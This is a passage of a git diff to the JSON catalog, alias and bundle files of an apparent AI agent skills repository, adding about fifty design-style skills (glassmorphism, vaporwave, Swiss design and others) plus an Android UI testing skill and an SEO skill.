user wants professional tools, maximum information density, and expert interfaces (like Bloomberg terminals or IDEs).", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "data-engineer", "path": "skills/data-engineer", @@ -11365,6 +11717,28 @@ "reasons": [] } }, + { + "id": "design-it", + "path": "skills/design-it", + "category": "frontend", + "name": "design-it", + "description": "Routes frontend design tasks to 48 specific UI styles. Triggers for websites, app screens, or UI components requesting a specific aesthetic.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "design-md", "path": "skills/design-md", @@ -12159,6 +12533,28 @@ "reasons": [] } }, + { + "id": "duotone-design", + "path": "skills/design-it/duotone-design", + "category": "design-it", + "name": "duotone-design", + "description": "Web and App implementation guide for Duotone Design. Trigger when user wants two-color schemes, striking imagery, and Spotify-like playlist aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "dwarf-expert", "path": "skills/dwarf-expert", @@ -12291,6 +12687,28 @@ "reasons": [] } }, + { + "id": "editorial-design", + "path": "skills/design-it/editorial-design", + "category": "design-it", + "name": "editorial-design", + "description": "Web and App implementation guide for Editorial Design. Trigger when user wants a magazine-inspired layout, large headlines, and elegant typography pairing.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "efficient-web-research", "path": "skills/efficient-web-research", @@ -13921,6 +14339,72 @@ "reasons": [] } }, + { + "id": "flat-design", + "path": "skills/design-it/flat-design", + "category": "design-it", + "name": "flat-design", + "description": "Web and App implementation guide for the Flat Design style. Trigger when the user wants no shadows, simple shapes, and bold colors.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "flat-design-2", + "path": "skills/design-it/flat-design-2", + "category": "design-it", + "name": "flat-design-2", + "description": "Web and App implementation guide for Flat Design 2.0 (Semi-Flat). Trigger when the user wants flat design with subtle shadows and improved usability.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "floating-ui", + "path": "skills/design-it/floating-ui", + "category": "design-it", + "name": "floating-ui", + "description": "Web and App implementation guide for Floating UI. Trigger when user wants detached cards, elevated components, and a light, airy feel.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "flowhunt-skill", "path": "skills/flowhunt-skill", @@ -14669,6 +15153,28 @@ "reasons": [] } }, + { + "id": "frutiger-aero", + "path": "skills/design-it/frutiger-aero", + "category": "design-it", + "name": "frutiger-aero", + "description": "Web and App implementation guide for Frutiger Aero. Trigger when user wants glossy gradients, early 2000s nature-inspired tech, glass, and water motifs.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "fsi-compliance-checker", "path": "skills/fsi-compliance-checker", @@ -15395,6 +15901,28 @@ "reasons": [] } }, + { + "id": "glassmorphism", + "path": "skills/design-it/glassmorphism", + "category": "design-it", + "name": "glassmorphism", + "description": "Web and App implementation guide for Glassmorphism. Trigger when user wants a frosted glass effect, blurred backgrounds, transparency, or a sleek MacOS-like feel.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "global-chat-agent-discovery", "path": "skills/global-chat-agent-discovery", @@ -15791,6 +16319,28 @@ "reasons": [] } }, + { + "id": "gradient-design", + "path": "skills/design-it/gradient-design", + "category": "design-it", + "name": "gradient-design", + "description": "Web and App implementation guide for Gradient Design. Trigger when user wants heavy gradient usage, vibrant transitions, and modern energetic feels.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "grafana-dashboards", "path": "skills/grafana-dashboards", @@ -16409,6 +16959,28 @@ "reasons": [] } }, + { + "id": "high-contrast", + "path": "skills/design-it/high-contrast", + "category": "design-it", + "name": "high-contrast", + "description": "Web and App implementation guide for High Contrast Design. Trigger when user wants accessibility-focused design, extreme legibility, or stark visual impact.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "high-end-visual-design", "path": "skills/high-end-visual-design", @@ -16431,6 +17003,28 @@ "reasons": [] } }, + { + "id": "holographic-ui", + "path": "skills/design-it/holographic-ui", + "category": "design-it", + "name": "holographic-ui", + "description": "Web and App implementation guide for Holographic UI. Trigger when user wants light-based appearance, projected interfaces, and transparent floating elements.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "hono", "path": "skills/hono", @@ -17663,6 +18257,28 @@ "reasons": [] } }, + { + "id": "isometric-design", + "path": "skills/design-it/isometric-design", + "category": "design-it", + "name": "isometric-design", + "description": "Web and App implementation guide for Isometric Design. Trigger when user wants angled 3D appearances without vanishing points, often used for technical illustrations.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "issues", "path": "skills/issues", @@ -18611,6 +19227,28 @@ "reasons": [] } }, + { + "id": "layered-design", + "path": "skills/design-it/layered-design", + "category": "design-it", + "name": "layered-design", + "description": "Web and App implementation guide for Layered Design. Trigger when user wants multiple depth levels, floating panels, and overlapping content.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "lead-magnets", "path": "skills/lead-magnets", @@ -20295,6 +20933,28 @@ "reasons": [] } }, + { + "id": "material-design", + "path": "skills/design-it/material-design", + "category": "design-it", + "name": "material-design", + "description": "Web and App implementation guide for Material Design. Trigger when user wants Google's aesthetic, elevation, motion, and consistent components.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "mathguard", "path": "skills/mathguard", @@ -20383,6 +21043,28 @@ "reasons": [] } }, + { + "id": "maximalism", + "path": "skills/design-it/maximalism", + "category": "design-it", + "name": "maximalism", + "description": "Web and App implementation guide for Controlled Maximalism. Trigger when user wants lots of elements, dense content, but a highly curated and artistic presentation.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "mcp-builder", "path": "skills/mcp-builder", @@ -20737,6 +21419,28 @@ "reasons": [] } }, + { + "id": "minimalism", + "path": "skills/design-it/minimalism", + "category": "design-it", + "name": "minimalism", + "description": "Web and App implementation guide for the Minimalism design style. Trigger when the user wants simple layouts, lots of whitespace, few colors, and clear hierarchy.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "minimalist-ui", "path": "skills/minimalist-ui", @@ -21137,6 +21841,28 @@ "reasons": [] } }, + { + "id": "monochromatic-ui", + "path": "skills/design-it/monochromatic-ui", + "category": "design-it", + "name": "monochromatic-ui", + "description": "Web and App implementation guide for Monochromatic UI. Trigger when user wants a single-color palette, high elegance, and strict color discipline.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "monopoly", "path": "skills/monopoly", @@ -21731,6 +22457,28 @@ "reasons": [] } }, + { + "id": "neo-brutalism", + "path": "skills/design-it/neo-brutalism", + "category": "design-it", + "name": "neo-brutalism", + "description": "Web and App implementation guide for Neo-Brutalism. Trigger when user wants thick borders, hard shadows, bright colors, and a playful yet structured look.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "neon-postgres", "path": "skills/neon-postgres", @@ -21885,6 +22633,28 @@ "reasons": [] } }, + { + "id": "neumorphism", + "path": "skills/design-it/neumorphism", + "category": "design-it", + "name": "neumorphism", + "description": "Web and App implementation guide for Neumorphism (Soft UI). Trigger when user wants soft shadows, extruded appearance, and light source simulation.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "new-rails-project", "path": "skills/new-rails-project", @@ -26228,6 +26998,50 @@ "reasons": [] } }, + { + "id": "retro-design", + "path": "skills/design-it/retro-design", + "category": "design-it", + "name": "retro-design", + "description": "Web and App implementation guide for Retro Design (60s-80s). Trigger when user wants vintage aesthetics, warm muted colors, and nostalgic layouts.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "retro-futurism", + "path": "skills/design-it/retro-futurism", + "category": "design-it", + "name": "retro-futurism", + "description": "Web and App implementation guide for Retro Futurism. Trigger when user wants vintage future concepts, 1950s space age aesthetics, or atompunk vibes.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "returns-reverse-logistics", "path": "skills/returns-reverse-logistics", @@ -27064,6 +27878,28 @@ "reasons": [] } }, + { + "id": "sci-fi-interface", + "path": "skills/design-it/sci-fi-interface", + "category": "design-it", + "name": "sci-fi-interface", + "description": "Web and App implementation guide for Sci-Fi Interface Design. Trigger when user wants HUDs, spacecraft dashboards, or tactical military readouts.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "scientific-writing", "path": "skills/scientific-writing", @@ -28920,6 +29756,28 @@ "reasons": [] } }, + { + "id": "skeuomorphism", + "path": "skills/design-it/skeuomorphism", + "category": "design-it", + "name": "skeuomorphism", + "description": "Web and App implementation guide for Skeuomorphism. Trigger when user wants UI to mimic real-world objects, realistic textures, or physical metaphors.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "skill-audit", "path": "skills/skill-audit", @@ -29638,6 +30496,28 @@ ] } }, + { + "id": "soft-pastel", + "path": "skills/design-it/soft-pastel", + "category": "design-it", + "name": "soft-pastel", + "description": "Web and App implementation guide for Soft Pastel Design. Trigger when user wants gentle colors, calming UI, baby/lifestyle branding, or low-contrast aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "software-architecture", "path": "skills/software-architecture", @@ -29704,6 +30584,50 @@ "reasons": [] } }, + { + "id": "spatial-computing-ui", + "path": "skills/design-it/spatial-computing-ui", + "category": "design-it", + "name": "spatial-computing-ui", + "description": "Web and App implementation guide for Spatial Computing UI. Trigger when user wants floating elements, environmental awareness, and Apple Vision Pro style.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, + { + "id": "spatial-design", + "path": "skills/design-it/spatial-design", + "category": "design-it", + "name": "spatial-design", + "description": "Web and App implementation guide for Spatial Design. Trigger when user wants environment-aware layouts, Apple Vision Pro inspiration, and mixed reality aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "spec-to-code-compliance", "path": "skills/spec-to-code-compliance", @@ -30652,6 +31576,28 @@ "reasons": [] } }, + { + "id": "swiss-design", + "path": "skills/design-it/swiss-design", + "category": "design-it", + "name": "swiss-design", + "description": "Web and App implementation guide for Swiss Design (International Typographic Style). Trigger when user wants strict grid systems, strong typography, and clean, asymmetrical alignment.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "sympy", "path": "skills/sympy", @@ -30674,6 +31620,28 @@ "reasons": [] } }, + { + "id": "synthwave", + "path": "skills/design-it/synthwave", + "category": "design-it", + "name": "synthwave", + "description": "Web and App implementation guide for Synthwave. Trigger when user wants 80s-inspired neon, dark backgrounds, outrun grids, and Miami Vice aesthetics.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "systematic-debugging", "path": "skills/systematic-debugging", @@ -31864,6 +32832,28 @@ "reasons": [] } }, + { + "id": "tile-design", + "path": "skills/design-it/tile-design", + "category": "design-it", + "name": "tile-design", + "description": "Web and App implementation guide for Tile Design. Trigger when user wants Microsoft Metro style, sharp square information units, and horizontal scrolling grids.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "tmux", "path": "skills/tmux", @@ -31976,6 +32966,28 @@ "reasons": [] } }, + { + "id": "tools-page-seo-optimizer", + "path": "skills/tools-page-seo-optimizer", + "category": "seo", + "name": "tools-page-seo-optimizer", + "description": "Framework-agnostic SEO workflow for any site with multiple tool, product, or feature pages. Covers duplicate content, unique meta tags, heading hierarchy, internal linking, URL slugs, E-E-A-T, content registry pattern for scaling 50\u2013500 pages, and blog content strategy for position 50\u201368 keywords.", + "risk": "safe", + "source": "community", + "date_added": "2026-06-19", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "top-web-vulnerabilities", "path": "skills/top-web-vulnerabilities", @@ -32328,6 +33340,28 @@ "reasons": [] } }, + { + "id": "typography-first", + "path": "skills/design-it/typography-first", + "category": "design-it", + "name": "typography-first", + "description": "Web and App implementation guide for Typography First Design. Trigger when user wants text as the absolute main visual element, with minimal UI chroming.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "ui-a11y", "path": "skills/ui-a11y", @@ -33080,6 +34114,28 @@ "reasons": [] } }, + { + "id": "vaporwave", + "path": "skills/design-it/vaporwave", + "category": "design-it", + "name": "vaporwave", + "description": "Web and App implementation guide for Vaporwave. Trigger when user wants neon colors, retro digital aesthetics, 90s OS elements, and Roman statues.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "variant-analysis", "path": "skills/variant-analysis", @@ -33439,7 +34495,7 @@ "path": "skills/vibecode-production-qa-validator", "category": "devops", "name": "vibecode-production-qa-validator", - "description": "End-to-end production QA, build verification, and launch-readiness checklist for fullstack Next.js apps. Covers TypeScript, linting, tests, build, SEO tags, route regression, and sitemap validation.", + "description": "13-phase production QA for fullstack Next.js apps: build verification, SEO tags, OG images, favicon, route regression, API auth, page speed, lazy load, vulnerability scan, UI/UX cards, error boundaries, database, secure rendering, and cleanup.", "risk": "safe", "source": "self", "date_added": "2026-05-31", @@ -33500,6 +34556,28 @@ "reasons": [] } }, + { + "id": "vibrant-maximalism", + "path": "skills/design-it/vibrant-maximalism", + "category": "design-it", + "name": "vibrant-maximalism", + "description": "Web and App implementation guide for Vibrant Maximalism. Trigger when user wants rich colors, dense layouts, extreme sensory input, and \"more is more\".", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "video-content-extractor", "path": "skills/video-content-extractor", @@ -34138,6 +35216,28 @@ "reasons": [] } }, + { + "id": "widget-based-design", + "path": "skills/design-it/widget-based-design", + "category": "design-it", + "name": "widget-based-design", + "description": "Web and App implementation guide for Widget-Based Design. Trigger when user wants modular blocks, iOS Home Screen aesthetics, and customizable mini-apps.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "wiki-architect", "path": "skills/wiki-architect", @@ -34800,6 +35900,28 @@ "reasons": [] } }, + { + "id": "y2k-design", + "path": "skills/design-it/y2k-design", + "category": "design-it", + "name": "y2k-design", + "description": "Web and App implementation guide for Y2K Design. Trigger when user wants chrome effects, futuristic 2000s look, blob shapes, and tech optimism.", + "risk": "safe", + "source": "self", + "date_added": "2026-06-17", + "plugin": { + "targets": { + "codex": "supported", + "claude": "supported" + }, + "setup": { + "type": "none", + "summary": "", + "docs": null + }, + "reasons": [] + } + }, { "id": "yann-lecun", "path": "skills/yann-lecun", diff --git a/antigravity-awesome-skills/assets/star-history.png b/antigravity-awesome-skills/assets/star-history.png index 7e9f4f95..4de13864 100644 Binary files a/antigravity-awesome-skills/assets/star-history.png and b/antigravity-awesome-skills/assets/star-history.png differ diff --git a/antigravity-awesome-skills/data/aliases.json b/antigravity-awesome-skills/data/aliases.json index a8c59337..6cbe89af 100644 --- a/antigravity-awesome-skills/data/aliases.json +++ b/antigravity-awesome-skills/data/aliases.json @@ -63,6 +63,56 @@ "debugging-toolkit-debug": "debugging-toolkit-smart-debug", "dependency-management-audit": "dependency-management-deps-audit", "deployment-validation-validate": "deployment-validation-config-validate", + "3d-ui": "design-it/3d-ui", + "ai-native-ui": "design-it/ai-native-ui", + "aurora-ui": "design-it/aurora-ui", + "bento-ui": "design-it/bento-ui", + "brutalism": "design-it/brutalism", + "brutalist-typography": "design-it/brutalist-typography", + "card-based-design": "design-it/card-based-design", + "claymorphism": "design-it/claymorphism", + "color-blocking": "design-it/color-blocking", + "command-center-ui": "design-it/command-center-ui", + "cyber-y2k": "design-it/cyber-y2k", + "cyberpunk-ui": "design-it/cyberpunk-ui", + "dark-mode": "design-it/dark-mode", + "dashboard-design": "design-it/dashboard-design", + "data-dense-design": "design-it/data-dense-design", + "duotone-design": "design-it/duotone-design", + "editorial-design": "design-it/editorial-design", + "flat-design": "design-it/flat-design", + "flat-design-2": "design-it/flat-design-2", + "floating-ui": "design-it/floating-ui", + "frutiger-aero": "design-it/frutiger-aero", + "glassmorphism": "design-it/glassmorphism", + "gradient-design": "design-it/gradient-design", + "high-contrast": "design-it/high-contrast", + "holographic-ui": "design-it/holographic-ui", + "isometric-design": "design-it/isometric-design", + "layered-design": "design-it/layered-design", + "material-design": "design-it/material-design", + "maximalism": "design-it/maximalism", + "minimalism": "design-it/minimalism", + "monochromatic-ui": "design-it/monochromatic-ui", + "neo-brutalism": "design-it/neo-brutalism", + "neumorphism": "design-it/neumorphism", + "retro-design": "design-it/retro-design", + "retro-futurism": "design-it/retro-futurism", + "sci-fi-interface": "design-it/sci-fi-interface", + "skeuomorphism": "design-it/skeuomorphism", + "soft-pastel": "design-it/soft-pastel", + "spatial-computing-ui": "design-it/spatial-computing-ui", + "design-it/spatial-ui": "design-it/spatial-computing-ui", + "spatial-design": "design-it/spatial-design", + "swiss-design": "design-it/swiss-design", + "synthwave": "design-it/synthwave", + "tile-design": "design-it/tile-design", + "typography-first": "design-it/typography-first", + "vaporwave": "design-it/vaporwave", + "vibrant-maximalism": "design-it/vibrant-maximalism", + "widget-based-design": "design-it/widget-based-design", + "design-it/widget-based": "design-it/widget-based-design", + "y2k-design": "design-it/y2k-design", "distributed-debugging-trace": "distributed-debugging-debug-trace", "documentation-generation-generate": "documentation-generation-doc-generate", "error-debugging-analysis": "error-debugging-error-analysis", diff --git a/antigravity-awesome-skills/data/bundles.json b/antigravity-awesome-skills/data/bundles.json index a13ecb28..7c9ce16a 100644 --- a/antigravity-awesome-skills/data/bundles.json +++ b/antigravity-awesome-skills/data/bundles.json @@ -14,6 +14,7 @@ "android-cli", "android-dev", "android-jetpack-compose-expert", + "android-ui-journey-testing", "android_ui_verification", "animejs-animation", "api-design-principles", @@ -141,6 +142,8 @@ "dbos-golang", "dbos-python", "dbos-typescript", + "design-it", + "design-it/widget-based-design", "design-taste-frontend", "devcontainer-setup", "development", @@ -528,6 +531,7 @@ "ui-visual-validator", "variant-analysis", "varlock-claude-skill", + "vibecode-production-qa-validator", "vibers-code-review", "vulnerability-scanner", "web-design-guidelines", @@ -650,6 +654,8 @@ "database-migrations-sql-migrations", "database-optimizer", "dbt-transformation-patterns", + "design-it/dashboard-design", + "design-it/data-dense-design", "django-perf-review", "drizzle-orm-expert", "dwarf-expert", @@ -741,6 +747,7 @@ "unity-ecs-patterns", "using-neon", "vector-database-engineer", + "vibecode-production-qa-validator", "wellally-tech", "xvary-stock-research", "youtube-automation", @@ -784,6 +791,7 @@ "deployment-pipeline-design", "deployment-procedures", "deployment-validation-config-validate", + "design-it/command-center-ui", "devops-deploy", "devops-troubleshooter", "distributed-debugging-debug-trace", @@ -872,6 +880,7 @@ "airtable-automation", "amplitude-automation", "andrej-karpathy", + "android-ui-journey-testing", "api-documentation", "api-security-testing", "asana-automation", @@ -1054,6 +1063,7 @@ "tiktok-automation", "tmux", "todoist-automation", + "tools-page-seo-optimizer", "trello-automation", "twitter-automation", "vercel-automation", @@ -1279,11 +1289,13 @@ "android-cli", "android-dev", "android-jetpack-compose-expert", + "android-ui-journey-testing", "android_ui_verification", "app-store-optimization", "audit-skills", "awt-e2e-testing", "building-native-ui", + "design-it/widget-based-design", "development", "earllm-build", "expo-api-routes", @@ -1409,6 +1421,7 @@ "skill-issue", "social-metadata-hardening", "social-post-writer-seo", + "tools-page-seo-optimizer", "vibecode-production-qa-validator", "whatsapp-cloud-api", "wordpress-centric-high-seo-optimized-blogwriting-skill", diff --git a/antigravity-awesome-skills/data/catalog.json b/antigravity-awesome-skills/data/catalog.json index c997c540..eca9f1c7 100644 --- a/antigravity-awesome-skills/data/catalog.json +++ b/antigravity-awesome-skills/data/catalog.json @@ -1,6 +1,6 @@ { "generatedAt": "2026-02-08T00:00:00.000Z", - "total": 1595, + "total": 1646, "skills": [ { "id": "00-andruia-consultant", @@ -1914,6 +1914,35 @@ ], "path": "skills/android-jetpack-compose-expert/SKILL.md" }, + { + "id": "android-ui-journey-testing", + "name": "android-ui-journey-testing", + "description": "XML-specified Android UI journey testing, interactive step execution, assertion verification, and JSON outcome reporting.", + "category": "development", + "tags": [ + "android", + "journey-testing", + "ui-verification", + "testing", + "adb", + "automation" + ], + "triggers": [ + "android", + "journey-testing", + "ui-verification", + "testing", + "adb", + "automation", + "ui", + "journey", + "xml", + "specified", + "interactive", + "step" + ], + "path": "skills/android-ui-journey-testing/SKILL.md" + }, { "id": "android_ui_verification", "name": "android_ui_verification", @@ -12729,6 +12758,1214 @@ ], "path": "skills/deployment-validation-config-validate/SKILL.md" }, + { + "id": "design-it", + "name": "design-it", + "description": "Routes frontend design tasks to 48 specific UI styles. Triggers for websites, app screens, or UI components requesting a specific aesthetic.", + "category": "development", + "tags": [ + "design", + "ui", + "frontend" + ], + "triggers": [ + "design", + "ui", + "frontend", + "routes", + "tasks", + "48", + "specific", + "styles", + "triggers", + "websites", + "app", + "screens" + ], + "path": "skills/design-it/SKILL.md" + }, + { + "id": "design-it/3d-ui", + "name": "3d-ui", + "description": "Web and App implementation guide for 3D UI. Trigger when user wants actual 3D objects, perspective effects, and spatial depth.", + "category": "general", + "tags": [ + "it/3d", + "ui" + ], + "triggers": [ + "it/3d", + "ui", + "3d", + "web", + "app", + "trigger", + "user", + "wants", + "actual", + "objects", + "perspective", + "effects" + ], + "path": "skills/design-it/3d-ui/SKILL.md" + }, + { + "id": "design-it/ai-native-ui", + "name": "ai-native-ui", + "description": "Web and App implementation guide for AI Native UI. Trigger when user wants conversational interfaces, adaptive layouts, and generative AI aesthetics.", + "category": "data-ai", + "tags": [ + "it/ai", + "native", + "ui" + ], + "triggers": [ + "it/ai", + "native", + "ui", + "ai", + "web", + "app", + "trigger", + "user", + "wants", + "conversational", + "interfaces", + "adaptive" + ], + "path": "skills/design-it/ai-native-ui/SKILL.md" + }, + { + "id": "design-it/aurora-ui", + "name": "aurora-ui", + "description": "Web and App implementation guide for Aurora UI. Trigger when user wants gradient glows, color blobs, and atmospheric lighting effects.", + "category": "general", + "tags": [ + "it/aurora", + "ui" + ], + "triggers": [ + "it/aurora", + "ui", + "aurora", + "web", + "app", + "trigger", + "user", + "wants", + "gradient", + "glows", + "color", + "blobs" + ], + "path": "skills/design-it/aurora-ui/SKILL.md" + }, + { + "id": "design-it/bento-ui", + "name": "bento-ui", + "description": "Web and App implementation guide for Bento UI. Trigger when user wants modular grid cards, Apple-like dashboard style, or sections arranged like a bento box.", + "category": "general", + "tags": [ + "it/bento", + "ui" + ], + "triggers": [ + "it/bento", + "ui", + "bento", + "web", + "app", + "trigger", + "user", + "wants", + "modular", + "grid", + "cards", + "apple" + ], + "path": "skills/design-it/bento-ui/SKILL.md" + }, + { + "id": "design-it/brutalism", + "name": "brutalism", + "description": "Web and App implementation guide for Brutalism. Trigger when user wants a raw appearance, intentionally unfinished look, and rejection of standard design conventions.", + "category": "general", + "tags": [ + "it/brutalism" + ], + "triggers": [ + "it/brutalism", + "brutalism", + "web", + "app", + "trigger", + "user", + "wants", + "raw", + "appearance", + "intentionally", + "unfinished", + "look" + ], + "path": "skills/design-it/brutalism/SKILL.md" + }, + { + "id": "design-it/brutalist-typography", + "name": "brutalist-typography", + "description": "Web and App implementation guide for Brutalist Typography. Trigger when user wants huge fonts, raw presentation, and aggressive layout decisions.", + "category": "general", + "tags": [ + "it/brutalist", + "typography" + ], + "triggers": [ + "it/brutalist", + "typography", + "brutalist", + "web", + "app", + "trigger", + "user", + "wants", + "huge", + "fonts", + "raw", + "presentation" + ], + "path": "skills/design-it/brutalist-typography/SKILL.md" + }, + { + "id": "design-it/card-based-design", + "name": "card-based-design", + "description": "Web and App implementation guide for Card-Based Design. Trigger when user wants information cards, Pinterest-style layouts, and bite-sized content containers.", + "category": "general", + "tags": [ + "it/card", + "based" + ], + "triggers": [ + "it/card", + "based", + "card", + "web", + "app", + "trigger", + "user", + "wants", + "information", + "cards", + "pinterest", + "style" + ], + "path": "skills/design-it/card-based-design/SKILL.md" + }, + { + "id": "design-it/claymorphism", + "name": "claymorphism", + "description": "Web and App implementation guide for Claymorphism. Trigger when user wants soft 3D elements, rounded shapes, and a playful, tactile appearance.", + "category": "general", + "tags": [ + "it/claymorphism" + ], + "triggers": [ + "it/claymorphism", + "claymorphism", + "web", + "app", + "trigger", + "user", + "wants", + "soft", + "3d", + "elements", + "rounded", + "shapes" + ], + "path": "skills/design-it/claymorphism/SKILL.md" + }, + { + "id": "design-it/color-blocking", + "name": "color-blocking", + "description": "Web and App implementation guide for Color Blocking. Trigger when user wants large color sections, striking layout divisions, and Mondrian-style grids.", + "category": "general", + "tags": [ + "it/color", + "blocking" + ], + "triggers": [ + "it/color", + "blocking", + "color", + "web", + "app", + "trigger", + "user", + "wants", + "large", + "sections", + "striking", + "layout" + ], + "path": "skills/design-it/color-blocking/SKILL.md" + }, + { + "id": "design-it/command-center-ui", + "name": "command-center-ui", + "description": "Web and 